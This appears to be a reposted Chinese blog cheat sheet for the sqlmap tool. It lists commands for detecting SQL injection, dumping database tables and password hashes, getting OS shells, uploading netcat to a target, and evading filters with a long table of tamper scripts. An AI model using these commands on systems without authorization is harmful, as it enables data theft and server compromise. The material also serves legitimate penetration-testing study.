Sqlmap全家桶之一文掌握sqlmap的各种使用技巧

admin 2022年11月15日03:09:43评论108 views字数 8132阅读27分6秒阅读模式

免责声明



本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。


Sqlmap全家桶之一文掌握sqlmap的各种使用技巧

文章正文


Sqlmap之全参数含义

***该部分可参考breezeO_o师傅的文章,见下面的链接,随用随查即可******链接:https://blog.csdn.net/Breeze_CAT/article/details/80628392***
--parse-errors 解析并显示报错信息;
--hex dump非ascii字符时,将其编码为16进制,收到后解码还原;
-v 显示信息的级别,一共有六级:0:只显示python 错误和一些严重信息;1:显示基本信息(默认);2:显示debug信息;3:显示注入过程的payload;4:显示http请求包;5:显示http响应头;7:显示http相应页面;
--safe-freq=SAFE.. 频繁的发送错误的请求,服务器也会销毁session或者其他惩罚方式,开启这个功能之后,发几次错的就会发一次对的,通常用于盲注;
--level=LEVEL 设置测试的等级(1-5,默认为1)lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload;
--risk=RISK 风险(1-4,默认1)升高风险等级会增加数据被篡改的风险。risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试;

Sqlmap之注入点测试参数

#基础检测
    sqlmap.py -u  http://127.0.0.1/user_info.php?uid=1
#POST请求的注入点测试
    sqlmap.py -r  post.txt
#批量检测(注意target.txt跟sqlmap.py在同一个目录下)
    sqlmap.py -m target.txt
#站点爬取
    sqlmap.py -u "http://127.0.0.1/" --batch --crawl=3 
#模拟测试手机环境站点
    sqlmap.py -u "http://127.0.0.1/vuln.php?id=1" --mobile 
#智能判断测试点
    sqlmap.py -u "http://127.0.0.1/info.php?id=1" --batch --smart 
#自动填写表单进行注入
    sqlmap.py -u "http://127.0.0.1/info.php?id=1" --forms
#有的站点需要Cookie才能扫描,需要登录后指定Cookie
    sqlmap.py -u "http://127.0.0.1/info.php?id=1" --cookie="*value*"
###注意:在批量扫验证的时候,发现不同版本号扫描的结果不一样,1.2.11.6版本可以扫出来数据,但是1.3.4版本就没办法;
    经过分析,两坑如下:
    One、v1.2.11(/v1.2.10/v1.2.9/master)的boundaries.xml没有了针对模糊查询(%)的测试,而v1.2(/v1.1.12/1.1.4/1.2.2)则有。
    Two、v1.2.11(/v1.2.10/1.2.9/master)必须手动设置json的某个参数为*才能对这个参数进行注入,否则payload直接跟在json后导致无法注入,而v1.2(/v1.1.12)则可以默认回车(y)即可对json的某个参数注入。

Sqlmap之获取数据测试参数

#获取当前所有数据库名
    sqlmap.py -u  http://127.0.0.1/user_info.php?uid=1 --dbs --batch
#获取某一数据库(admin)的所有表名
    sqlmap.py -u  http://127.0.0.1/user_info.php?uid=1 -D admin --tables --batch
#获取某一数据库(admin)中表的所有的数据个数
    sqlmap.py -u  http://127.0.0.1/user_info.php?uid=1 -D admin --count --batch
#获取某一数据库(admin)的某一数据表(username)的所有字段名
    sqlmap.py -u  http://127.0.0.1/user_info.php?uid=1 -D admin -T username --columns --batch
#获取某一数据库(admin)的某一数据表(username)的某一列(password)的前10行数据
    sqlmap.py -u  http://127.0.0.1/user_info.php?uid=1 -D admin -T username -C password --start=1 --stop=10 --dump --batch

Sqlmap之获取信息参数

#使用hex避免字符编码导致数据丢失
    sqlmap.py -u "http://127.0.0.1/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors  
#当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解
    sqlmap.py -u "http://127.0.0.1/get_int.php?id=1" --passwords
#查找数据库管理系统的标识
    sqlmap.py -u "http://127.0.0.1/get_int.php?id=1" --banner
#其他信息参数如下
    --current-user      获取数据库管理系统当前用户
    --current-db        获取数据库管理系统当前数据库
    --hostname         获取数据库服务器的主机名称
    --is-dba            检测DBMS当前用户是否DBA
    --users             枚举数据库管理系统用户
    --passwords         枚举数据库管理系统用户密码哈希
    --privileges        枚举数据库管理系统用户的权限
    --roles            枚举数据库管理系统用户的角色
    --schema            枚举数据库架构
    --search            查找特定的列名,表名或数据库名,配合上面的-D,-C,-T
    --comments    检索数据库的备注
    --exclude-sysdbs    枚举表时排除系统数据库

Sqlmap之执行命令&执行SQL语句

#执行系统命令
    sqlmap.py -u "url" --os-cmd="net user"
#执行系统交互的Shell
    sqlmap.py -u “url” --os-shell
#执行一条SQL语句
    --sql-query=QUERY   要执行的SQL语句
#创建一个SQL的Shell
    --sql-shell 创建一个sql的shell
##查询是否站库分离(判断主机名和数据库名是否一样)
    select @@hostname; //服务端主机名称 
    select host_name();

Sqlmap之上传&读取文件

#读取文件(从后端的数据库管理系统文件系统读取文件)
    --file-read=RFILE   
##SQL Server2005中读取二进制文件example.exe:
    sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe"

#上传文件
   --file-write=WFILE  要上传的本地文件路径
   --file-dest=DFILE   写入目标系统的绝对路径
##在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下:
    python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write "/software/nc.exe" --file-dest "C:/WINDOWS/Temp/nc.exe" 

Sqlmap之注入中的规避技巧

#延时注入(延时0.5秒)
    sqlmap --dbs -u "url" --delay 0.5
#sqlmap请求指定次数(请求2次)
    sqlmap --dbs -u "url“ --safe-freq=2

Sqlmap之注入中的必备参数

-p                  指定测试的参数
--skip=SKIP         跳过对给定参数的测试
--skip-static       跳过测试不显示为动态的参数
--dbms=MySQL        指定数据库类型
--dbms-cred=DBMS..  DBMS认证凭证(user:password)
--tamper=TAMPER    使用给定的脚本篡改注入数据

Tamper功能&Tamper选择备忘录

Tamper功能

序号 脚本名称 注释
1 0x2char 将每个编码后的字符转换为等价表达
2 apostrophemask 单引号替换为Utf8字符
3 apostrophenullencode 替换双引号为%00%27
4 appendnullbyte 有效代码后添加%00
5 base64encode 使用base64编码
6 between 比较符替换为between
7 bluecoat 空格替换为随机空白字符,等号替换为like
8 chardoubleencode 双url编码
9 charencode 将url编码
10 charunicodeencode 使用unicode编码
11 charunicodeescape 以指定的payload反向编码未编码的字符
12 commalesslimit 改变limit语句的写法
13 commalessmid 改变mid语句的写法
14 commentbeforeparentheses 在括号前加内联注释
15 concat2concatws 替换CONCAT为CONCAT_WS
16 equaltolike 等号替换为like
17 escapequotes 双引号替换为\
18 greatest 大于号替换为greatest
19 halfversionedmorekeywords 在每个关键字前加注释
20 htmlencode html编码所有非字母和数字的字符
21 ifnull2casewhenisnull 改变ifnull语句的写法
22 ifnull2ifisnull 替换ifnull为if(isnull(A))
23 informationschemacomment 标示符后添加注释
24 least 替换大于号为least
25 lowercase 全部替换为小写值
26 modsecurityversioned 空格替换为查询版本的注释
27 modsecurityzeroversioned 添加完整的查询版本的注释
28 multiplespaces 添加多个空格
29 nonrecursivereplacement 替换预定义的关键字
30 overlongutf8 将所有字符转义为utf8
31 overlongutf8more 以指定的payload转换所有字符
32 percentage 每个字符前添加%
33 plus2concat 将加号替换为concat函数
34 plus2fnconcat 将加号替换为ODBC函数{fn CONCAT()}
35 randomcase 字符大小写随机替换
36 randomcomments /**/分割关键字
37 securesphere 添加某字符串
38 sp_password 追加sp_password字符串
39 space2comment 空格替换为/**/
40 space2dash 空格替换为--加随机字符
41 space2hash 空格替换为#加随机字符
42 space2morecomment 空格替换为/_/
43 space2morehash 空格替换为#加随机字符及换行符
44 space2mssqlblank 空格替换为其他空符号
45 space2mssqlhash 空格替换为%23%0A
46 space2mysqlblank 空格替换为其他空白符号
47 space2mysqldash 空格替换为--%0A
48 space2plus 空格替换为加号
49 space2randomblank 空格替换为备选字符集中的随机字符
50 symboliclogical AND和OR替换为&&和||
51 unionalltounion union all select替换为union select
52 unmagicquotes 宽字符绕过GPC
53 uppercase 全部替换为大写值
54 varnish 添加HTTP头
55 versionedkeywords 用注释封装每个非函数的关键字
56 versionedmorekeywords 使用注释绕过
57 xforwardedfor 添加伪造的HTTP头

MySQL常用Tamper

版本 可用tamper编号 脚本名称
4/5.0/5.5 1 0x2char

6 between

9 charencode

16 concat2concatws

18 greatest

24 least

25 lowercase

35 randomcase

39 space2comment

49 space2randomblank

53 uppercase
5.1 7 bluecoat

46 space2mysqlblank
5.0/5.5 12 commalesslimit

13 commalessmid

21 ifnull2casewhenisnull

22 ifnull2ifisnull

42 space2morecomment
5.0 15 concat2concatws

26 modsecurityversioned

27 modsecurityzeroversioned
4.0/5.0 41 space2hash
5.1.56 10 charunicodeencode
5.1.56/5.5.11 32 percentage

56 versionedmorekeywords
4.0.18/5.0.22 19 halfversionedmorekeywords
4.0.18/5.1.56/5.5.11 55 versionedkeywords
5.1.41 43 space2morehash
未指定版本 14 commentbeforeparentheses

40 space2dash

45 space2mssqlhash

47 space2mysqldash

Sql Server常用Tamper

版本 可用tamper编号 脚本名称
2005/2000 10 charunicodeencode

32 percentage

44 space2mssqlblank
2005 6 between

9 charencode

16 equaltolike

25 lowercase

35 randomcase

39 space2comment

49 space2randomblank

53 uppercase
2002+ 33 plus2concat
2008+ 34 plus2fnconcat
未指定 14 commentbeforeparentheses

ACCESS常用Tamper

版本 可用tamper编号 脚本名称
未指定 4 appendnullbyte

Oracle常用Tamper

版本 可用tamper编号 脚本名称
10g 6 between

9 charencode

14 commentbeforeparentheses

18 greatest

24 least

25 lowercase

35 randomcase

39 space2comment

49 space2randomblank

53 uppercase

PostgreSQL常用Tamper

版本 可用tamper编号 脚本名称
8.3/8.4/9.0 6 between

9 charencode

18 greatest

24 least

25 lowercase

39 space2comment

49 space2randomblank

53 uppercase
9.0 32 percentage
9.0.3 10 charunicodeencode
未指定 14 commentbeforeparentheses

35 randomcase

SQLite常用Tamper

版本 可用tamper编号 脚本名称
未指定 40 space2dash

未知适用范围常用Tamper

版本 可用tamper编号 脚本名称

2 apostrophemask

3 apostrophenullencode

5 base64encode

8 chardoubleencode

11 charunicodeescape

17 escapequotes

20 htmlencode

23 informationschemacomment

28 multiplespaces

29 nonrecursivereplacement

30 overlongutf8

31 overlongutf8more

36 randomcomments

37 securesphere

48 space2plus

50 symboliclogical

51 unionalltounion

52 unmagicquotes

54 varnish

57 xforwardedfor

参考

http://www.langzi.fun/SQLMAP%E9%80%9F%E6%9F%A5%E8%A1%A8.html
https://blog.csdn.net/Breeze_CAT/article/details/80628392
https://zhzhdoai.github.io/2019/02/25/sqlmap%E6%93%8D%E4%BD%9C(sqlilabs)/#%E5%89%8D%E8%A8%80
https://www.freebuf.com/sectool/179035.html

Sqlmap全家桶之一文掌握sqlmap的各种使用技巧

技术交流




知识星球




致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。

涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 200+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。

Sqlmap全家桶之一文掌握sqlmap的各种使用技巧



交流群



关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。

Sqlmap全家桶之一文掌握sqlmap的各种使用技巧

Sqlmap全家桶之一文掌握sqlmap的各种使用技巧






关注我们




关注福利:


回复“app" 获取  app渗透和app抓包教程

回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf


往期文章



我是如何摸鱼到红队的

命令执行漏洞[无]回显[不]出网利用技巧

MSSQL提权全总结

Powershell 免杀过 defender 火绒,附自动化工具

一篇文章带你学会容器逃逸

域渗透 | kerberos认证及过程中产生的攻击

通过DCERPC和ntlmssp获取Windows远程主机信息




原文始发于微信公众号(Z2O安全攻防):Sqlmap全家桶之一文掌握sqlmap的各种使用技巧

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月15日03:09:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Sqlmap全家桶之一文掌握sqlmap的各种使用技巧http://cn-sec.com/archives/1409884.html

发表评论

匿名网友 填写信息